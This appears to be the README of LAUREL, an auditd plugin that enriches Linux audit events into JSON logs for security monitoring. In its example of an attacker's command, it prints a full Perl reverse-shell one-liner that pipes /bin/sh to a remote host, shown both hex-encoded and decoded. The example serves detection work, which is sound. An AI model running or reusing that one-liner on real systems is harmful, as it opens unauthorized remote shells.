Linux Audit – Usable, Robust, Easy Logging

LAUREL is an event post-processing plugin for auditd(8) that generates useful, enriched JSON-based audit logs suitable for modern security monitoring setups.

Documentation corresponding to the latest stable release can be found here.

Why?

TLDR: Instead of audit events that look like this…

type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…

…LAUREL turns them into JSON logs where the mess that attackers/penetration testers/red teamers are trying to make becomes apparent at first glance:

{ … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …}

This happens at the source because LAUREL runs on the host where the audit events are generated. Events are enriched with useful information about the parent process (ppid):

"PPID":{"EVENT_ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631}

Documentation

Configuration and operational details are described in the laurel(8) manual page. Details about the log format and rationales can be found in the laurel-about(7) manual page. The laurel-audit-rules(7) page contains advice and examples for configuring audit rules useful for detecting attackers' tactics.

The LAUREL installation instructions contain instructions on how to build LAUREL from source and how to install and configure it.

We developed LAUREL because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to the Performance document for details.

See also

• ansible-auditd-laurel, an Ansible role to deploy auditd + laurel, by @0xFustang / CERT-EU

License

GNU General Public License, version 3

Authors

• Hilko Bengen <[email protected]>
• Sergej Schmidt <[email protected]>

The logo was created by Birgit Meyer <[email protected]>.